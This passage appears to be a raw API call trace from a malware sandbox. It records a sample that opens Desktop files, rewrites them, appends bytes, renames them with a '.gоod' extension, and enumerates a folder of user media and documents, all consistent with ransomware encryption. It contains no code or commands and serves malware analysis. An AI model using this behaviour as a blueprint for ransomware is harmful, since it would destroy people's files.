lpFilePart=0x0) returned 0x2f [0215.284] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee560) returned 1 [0215.284] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ZngUBwJ274oCix02C8E.gif" (normalized: "c:\\users\\fd1hvy\\desktop\\zngubwj274ocix02c8e.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0215.539] GetFileType (hFile=0x808) returned 0x1 [0215.539] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee4d0) returned 1 [0215.539] GetFileType (hFile=0x808) returned 0x1 [0215.897] WriteFile (in: hFile=0x808, lpBuffer=0x352a6e8*, nNumberOfBytesToWrite=0xd90, lpNumberOfBytesWritten=0x1f9ee548, lpOverlapped=0x0 | out: lpBuffer=0x352a6e8*, lpNumberOfBytesWritten=0x1f9ee548*=0xd90, lpOverlapped=0x0) returned 1 [0215.930] CloseHandle (hObject=0x808) returned 1 [0216.338] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\ZngUBwJ274oCix02C8E.gif", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\ZngUBwJ274oCix02C8E.gif", lpFilePart=0x0) returned 0x2f [0216.338] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\ZngUBwJ274oCix02C8E.gif.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\ZngUBwJ274oCix02C8E.gif.gоod", lpFilePart=0x0) returned 0x34 [0216.338] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0216.338] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\ZngUBwJ274oCix02C8E.gif" (normalized: "c:\\users\\fd1hvy\\desktop\\zngubwj274ocix02c8e.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa134d720, ftCreationTime.dwHighDateTime=0x1d4c613, ftLastAccessTime.dwLowDateTime=0xc184f8c0, ftLastAccessTime.dwHighDateTime=0x1d4cfbe, ftLastWriteTime.dwLowDateTime=0x7cebcc79, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd90)) returned 1 [0216.338] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0216.338] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\ZngUBwJ274oCix02C8E.gif" (normalized: "c:\\users\\fd1hvy\\desktop\\zngubwj274ocix02c8e.gif"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\ZngUBwJ274oCix02C8E.gif.gоod" (normalized: "c:\\users\\fd1hvy\\desktop\\zngubwj274ocix02c8e.gif.gоod")) returned 1 [0216.982] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\zwntIf13YyB.rtf", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\zwntIf13YyB.rtf", lpFilePart=0x0) returned 0x27 [0216.982] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0216.982] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\zwntIf13YyB.rtf" (normalized: "c:\\users\\fd1hvy\\desktop\\zwntif13yyb.rtf"), fInfoLevelId=0x0, lpFileInformation=0x37e6bd8 | out: lpFileInformation=0x37e6bd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dc45a90, ftCreationTime.dwHighDateTime=0x1d4d10d, ftLastAccessTime.dwLowDateTime=0x90f8b7c0, ftLastAccessTime.dwHighDateTime=0x1d4d18d, ftLastWriteTime.dwLowDateTime=0x90f8b7c0, ftLastWriteTime.dwHighDateTime=0x1d4d18d, nFileSizeHigh=0x0, nFileSizeLow=0x221a)) returned 1 [0216.983] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0216.983] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\zwntIf13YyB.rtf", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\zwntIf13YyB.rtf", lpFilePart=0x0) returned 0x27 [0216.983] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0216.983] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\zwntIf13YyB.rtf" (normalized: "c:\\users\\fd1hvy\\desktop\\zwntif13yyb.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0216.983] GetFileType (hFile=0x834) returned 0x1 [0216.983] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0216.983] GetFileType (hFile=0x834) returned 0x1 [0216.983] SetFilePointer (in: hFile=0x834, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0216.983] ReadFile (in: hFile=0x834, lpBuffer=0x37e6f70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x37e6f70*, lpNumberOfBytesRead=0x1f9ee6d8*=0x1000, lpOverlapped=0x0) returned 1 [0216.984] CloseHandle (hObject=0x834) returned 1 [0216.984] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\zwntIf13YyB.rtf", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\zwntIf13YyB.rtf", lpFilePart=0x0) returned 0x27 [0216.984] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0216.984] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\zwntIf13YyB.rtf" (normalized: "c:\\users\\fd1hvy\\desktop\\zwntif13yyb.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0216.984] GetFileType (hFile=0x834) returned 0x1 [0216.984] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0216.985] GetFileType (hFile=0x834) returned 0x1 [0216.985] SetFilePointer (in: hFile=0x834, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x221a [0216.985] WriteFile (in: hFile=0x834, lpBuffer=0x37e81c8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x37e81c8*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0216.985] CloseHandle (hObject=0x834) returned 1 [0217.208] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\zwntIf13YyB.rtf", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\zwntIf13YyB.rtf", lpFilePart=0x0) returned 0x27 [0217.208] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0217.208] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\zwntIf13YyB.rtf" (normalized: "c:\\users\\fd1hvy\\desktop\\zwntif13yyb.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0217.208] GetFileType (hFile=0x478) returned 0x1 [0217.208] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0217.208] GetFileType (hFile=0x478) returned 0x1 [0217.208] ReadFile (in: hFile=0x478, lpBuffer=0x358e9f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x358e9f0*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0217.236] CloseHandle (hObject=0x478) returned 1 [0217.236] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\zwntIf13YyB.rtf", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\zwntIf13YyB.rtf", lpFilePart=0x0) returned 0x27 [0217.236] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0217.236] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\zwntIf13YyB.rtf" (normalized: "c:\\users\\fd1hvy\\desktop\\zwntif13yyb.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0217.237] GetFileType (hFile=0x478) returned 0x1 [0217.237] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0217.237] GetFileType (hFile=0x478) returned 0x1 [0217.237] WriteFile (in: hFile=0x478, lpBuffer=0x358d788*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x358d788*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0217.237] CloseHandle (hObject=0x478) returned 1 [0217.709] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\zwntIf13YyB.rtf", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\zwntIf13YyB.rtf", lpFilePart=0x0) returned 0x27 [0217.709] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\zwntIf13YyB.rtf.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\zwntIf13YyB.rtf.gоod", lpFilePart=0x0) returned 0x2c [0217.709] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0217.709] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\zwntIf13YyB.rtf" (normalized: "c:\\users\\fd1hvy\\desktop\\zwntif13yyb.rtf"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dc45a90, ftCreationTime.dwHighDateTime=0x1d4d10d, ftLastAccessTime.dwLowDateTime=0x90f8b7c0, ftLastAccessTime.dwHighDateTime=0x1d4d18d, ftLastWriteTime.dwLowDateTime=0x7db1a5f6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x222a)) returned 1 [0217.709] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0217.709] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\zwntIf13YyB.rtf" (normalized: "c:\\users\\fd1hvy\\desktop\\zwntif13yyb.rtf"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\zwntIf13YyB.rtf.gоod" (normalized: "c:\\users\\fd1hvy\\desktop\\zwntif13yyb.rtf.gоod")) returned 1 [0217.932] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0217.932] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7", lpFilePart=0x0) returned 0x22 [0217.932] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc3360400, ftCreationTime.dwHighDateTime=0x1d4ced5, ftLastAccessTime.dwLowDateTime=0x50b18030, ftLastAccessTime.dwHighDateTime=0x1d4c8db, ftLastWriteTime.dwLowDateTime=0x50b18030, ftLastWriteTime.dwHighDateTime=0x1d4c8db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134abc0 [0217.932] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc3360400, ftCreationTime.dwHighDateTime=0x1d4ced5, ftLastAccessTime.dwLowDateTime=0x50b18030, ftLastAccessTime.dwHighDateTime=0x1d4c8db, ftLastWriteTime.dwLowDateTime=0x50b18030, ftLastWriteTime.dwHighDateTime=0x1d4c8db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.932] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7631f50, ftCreationTime.dwHighDateTime=0x1d4cfd4, ftLastAccessTime.dwLowDateTime=0x7b9c6670, ftLastAccessTime.dwHighDateTime=0x1d4cbba, ftLastWriteTime.dwLowDateTime=0x7b9c6670, ftLastWriteTime.dwHighDateTime=0x1d4cbba, nFileSizeHigh=0x0, nFileSizeLow=0x18bab, dwReserved0=0x0, dwReserved1=0x0, cFileName="0LpU5hvHVSan-OM9n.mp3", cAlternateFileName="0LPU5H~1.MP3")) returned 1 [0217.933] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfad06ff0, ftCreationTime.dwHighDateTime=0x1d4c6c8, ftLastAccessTime.dwLowDateTime=0xd3854c60, ftLastAccessTime.dwHighDateTime=0x1d4cc52, ftLastWriteTime.dwLowDateTime=0xd3854c60, ftLastWriteTime.dwHighDateTime=0x1d4cc52, nFileSizeHigh=0x0, nFileSizeLow=0xf1c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hPug5P9I0r.wav", cAlternateFileName="HPUG5P~1.WAV")) returned 1 [0217.933] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4ae0c30, ftCreationTime.dwHighDateTime=0x1d4c782, ftLastAccessTime.dwLowDateTime=0xca3868c0, ftLastAccessTime.dwHighDateTime=0x1d4c61e, ftLastWriteTime.dwLowDateTime=0xca3868c0, ftLastWriteTime.dwHighDateTime=0x1d4c61e, nFileSizeHigh=0x0, nFileSizeLow=0x10110, dwReserved0=0x0, dwReserved1=0x0, cFileName="i_aE6B s.png", cAlternateFileName="I_AE6B~1.PNG")) returned 1 [0217.933] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43259c0, ftCreationTime.dwHighDateTime=0x1d4cb5e, ftLastAccessTime.dwLowDateTime=0x2f542410, ftLastAccessTime.dwHighDateTime=0x1d4cf25, ftLastWriteTime.dwLowDateTime=0x2f542410, ftLastWriteTime.dwHighDateTime=0x1d4cf25, nFileSizeHigh=0x0, nFileSizeLow=0xdd64, dwReserved0=0x0, dwReserved1=0x0, cFileName="M76zbtOR1.mp3", cAlternateFileName="M76ZBT~1.MP3")) returned 1 [0217.933] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f06c870, ftCreationTime.dwHighDateTime=0x1d4d449, ftLastAccessTime.dwLowDateTime=0x668d1e90, ftLastAccessTime.dwHighDateTime=0x1d4d16a, ftLastWriteTime.dwLowDateTime=0x668d1e90, ftLastWriteTime.dwHighDateTime=0x1d4d16a, nFileSizeHigh=0x0, nFileSizeLow=0x118a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="mK5Zqs9azyHMv9Gc.docx", cAlternateFileName="MK5ZQS~1.DOC")) returned 1 [0217.933] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2124f10, ftCreationTime.dwHighDateTime=0x1d4d3df, ftLastAccessTime.dwLowDateTime=0x6907a930, ftLastAccessTime.dwHighDateTime=0x1d4ceb1, ftLastWriteTime.dwLowDateTime=0x6907a930, ftLastWriteTime.dwHighDateTime=0x1d4ceb1, nFileSizeHigh=0x0, nFileSizeLow=0x72bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="n3fknGx1fZZiU0-NUgf.m4a", cAlternateFileName="N3FKNG~1.M4A")) returned 1 [0217.933] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2145680, ftCreationTime.dwHighDateTime=0x1d4c8d8, ftLastAccessTime.dwLowDateTime=0xf7902a00, ftLastAccessTime.dwHighDateTime=0x1d4cf84, ftLastWriteTime.dwLowDateTime=0xf7902a00, ftLastWriteTime.dwHighDateTime=0x1d4cf84, nFileSizeHigh=0x0, nFileSizeLow=0xe3e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="p0TrV33Celgcttyjbion.bmp", cAlternateFileName="P0TRV3~1.BMP")) returned 1 [0217.933] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ded1070, ftCreationTime.dwHighDateTime=0x1d4c5ca, ftLastAccessTime.dwLowDateTime=0xe799a250, ftLastAccessTime.dwHighDateTime=0x1d4cc5c, ftLastWriteTime.dwLowDateTime=0xe799a250, ftLastWriteTime.dwHighDateTime=0x1d4cc5c, nFileSizeHigh=0x0, nFileSizeLow=0xce3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ruKIy9.mp4", cAlternateFileName="")) returned 1 [0217.933] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50068870, ftCreationTime.dwHighDateTime=0x1d4d2c6, ftLastAccessTime.dwLowDateTime=0xd5e29c20, ftLastAccessTime.dwHighDateTime=0x1d4d38b, ftLastWriteTime.dwLowDateTime=0xd5e29c20, ftLastWriteTime.dwHighDateTime=0x1d4d38b, nFileSizeHigh=0x0, nFileSizeLow=0xc869, dwReserved0=0x0, dwReserved1=0x0, cFileName="vbndA99TOAba.bmp", cAlternateFileName="VBNDA9~1.BMP")) returned 1 [0217.934] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf057650, ftCreationTime.dwHighDateTime=0x1d4d367, ftLastAccessTime.dwLowDateTime=0xb1c66e50, ftLastAccessTime.dwHighDateTime=0x1d4cb54, ftLastWriteTime.dwLowDateTime=0xb1c66e50, ftLastWriteTime.dwHighDateTime=0x1d4cb54, nFileSizeHigh=0x0, nFileSizeLow=0xf779, dwReserved0=0x0, dwReserved1=0x0, cFileName="WvgHvUnz3.mp4", cAlternateFileName="WVGHVU~1.MP4")) returned 1 [0217.934] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4dd05620, ftCreationTime.dwHighDateTime=0x1d4cf66, ftLastAccessTime.dwLowDateTime=0xb61fe260, ftLastAccessTime.dwHighDateTime=0x1d4d270, ftLastWriteTime.dwLowDateTime=0xb61fe260, ftLastWriteTime.dwHighDateTime=0x1d4d270, nFileSizeHigh=0x0, nFileSizeLow=0xc4a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Xn04sA4S.avi", cAlternateFileName="")) returned 1 [0217.934] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf40a490, ftCreationTime.dwHighDateTime=0x1d4cf15, ftLastAccessTime.dwLowDateTime=0x7e0507c0, ftLastAccessTime.dwHighDateTime=0x1d4c9a6, ftLastWriteTime.dwLowDateTime=0x7e0507c0, ftLastWriteTime.dwHighDateTime=0x1d4c9a6, nFileSizeHigh=0x0, nFileSizeLow=0xa042, dwReserved0=0x0, dwReserved1=0x0, cFileName="zvXXg0GRJasKuRJZ.bmp", cAlternateFileName="ZVXXG0~1.BMP")) returned 1 [0217.934] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.934] FindClose (in: hFindFile=0x134abc0 | out: hFindFile=0x134abc0) returned 1 [0217.934] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0217.934] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0217.934] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0217.934] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7", lpFilePart=0x0) returned 0x22 [0217.934] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\JTihJh_fu7\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc3360400, ftCreationTime.dwHighDateTime=0x1d4ced5, ftLastAccessTime.dwLowDateTime=0x50b18030, ftLastAccessTime.dwHighDateTime=0x1d4c8db, ftLastWriteTime.dwLowDateTime=0x50b18030, ftLastWriteTime.dwHighDateTime=0x1d4c8db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a980 [0217.935] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc3360400, ftCreationTime.dwHighDateTime=0x1d4ced5, ftLastAccessTime.dwLowDateTime=0x50b18030, ftLastAccessTime.dwHighDateTime=0x1d4c8db, ftLastWriteTime.dwLowDateTime=0x50b18030, ftLastWriteTime.dwHighDateTime=0x1d4c8db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.935] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7631f50, ftCreationTime.dwHighDateTime=0x1d4cfd4, ftLastAccessTime.dwLowDateTime=0x7b9c6670, ftLastAccessTime.dwHighDateTime=0x1d4cbba, ftLastWriteTime.dwLowDateTime=0x7b9c6670, ftLastWriteTime.dwHighDateTime=0x1d4cbba, nFileSizeHigh=0x0, nFileSizeLow=0x18bab, dwReserved0=0x0, dwReserved1=0x0, cFileName="0LpU5hvHVSan-OM9n.mp3", cAlternateFileName="0LPU5H~1.MP3")) returned 1 [0217.935] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfad06ff0, ftCreationTime.dwHighDateTime=0x1d4c6c8, ftLastAccessTime.dwLowDateTime=0xd3854c60, ftLastAccessTime.dwHighDateTime=0x1d4cc52, ftLastWriteTime.dwLowDateTime=0xd3854c60, ftLastWriteTime.dwHighDateTime=0x1d4cc52, nFileSizeHigh=0x0, nFileSizeLow=0xf1c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hPug5P9I0r.wav", cAlternateFileName="HPUG5P~1.WAV")) returned 1 [0217.935] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4ae0c30, ftCreationTime.dwHighDateTime=0x1d4c782, ftLastAccessTime.dwLowDateTime=0xca3868c0, ftLastAccessTime.dwHighDateTime=0x1d4c61e, ftLastWriteTime.dwLowDateTime=0xca3868c0, ftLastWriteTime.dwHighDateTime=0x1d4c61e, nFileSizeHigh=0x0, nFileSizeLow=0x10110, dwReserved0=0x0, dwReserved1=0x0, cFileName="i_aE6B s.png", cAlternateFileName="I_AE6B~1.PNG")) returned 1 [0217.935] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43259c0, ftCreationTime.dwHighDateTime=0x1d4cb5e, ftLastAccessTime.dwLowDateTime=0x2f542410, ftLastAccessTime.dwHighDateTime=0x1d4cf25, ftLastWriteTime.dwLowDateTime=0x2f542410, ftLastWriteTime.dwHighDateTime=0x1d4cf25, nFileSizeHigh=0x0, nFileSizeLow=0xdd64, dwReserved0=0x0, dwReserved1=0x0, cFileName="M76zbtOR1.mp3", cAlternateFileName="M76ZBT~1.MP3")) returned 1 [0217.935] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f06c870, ftCreationTime.dwHighDateTime=0x1d4d449, ftLastAccessTime.dwLowDateTime=0x668d1e90, ftLastAccessTime.dwHighDateTime=0x1d4d16a, ftLastWriteTime.dwLowDateTime=0x668d1e90, ftLastWriteTime.dwHighDateTime=0x1d4d16a, nFileSizeHigh=0x0, nFileSizeLow=0x118a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="mK5Zqs9azyHMv9Gc.docx", cAlternateFileName="MK5ZQS~1.DOC")) returned 1 [0217.936] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2124f10, ftCreationTime.dwHighDateTime=0x1d4d3df, ftLastAccessTime.dwLowDateTime=0x6907a930, ftLastAccessTime.dwHighDateTime=0x1d4ceb1, ftLastWriteTime.dwLowDateTime=0x6907a930, ftLastWriteTime.dwHighDateTime=0x1d4ceb1, nFileSizeHigh=0x0, nFileSizeLow=0x72bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="n3fknGx1fZZiU0-NUgf.m4a", cAlternateFileName="N3FKNG~1.M4A")) returned 1 [0217.936] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2145680, ftCreationTime.dwHighDateTime=0x1d4c8d8, ftLastAccessTime.dwLowDateTime=0xf7902a00, ftLastAccessTime.dwHighDateTime=0x1d4cf84, ftLastWriteTime.dwLowDateTime=0xf7902a00, ftLastWriteTime.dwHighDateTime=0x1d4cf84, nFileSizeHigh=0x0, nFileSizeLow=0xe3e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="p0TrV33Celgcttyjbion.bmp", cAlternateFileName="P0TRV3~1.BMP")) returned 1 [0217.936] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ded1070, ftCreationTime.dwHighDateTime=0x1d4c5ca, 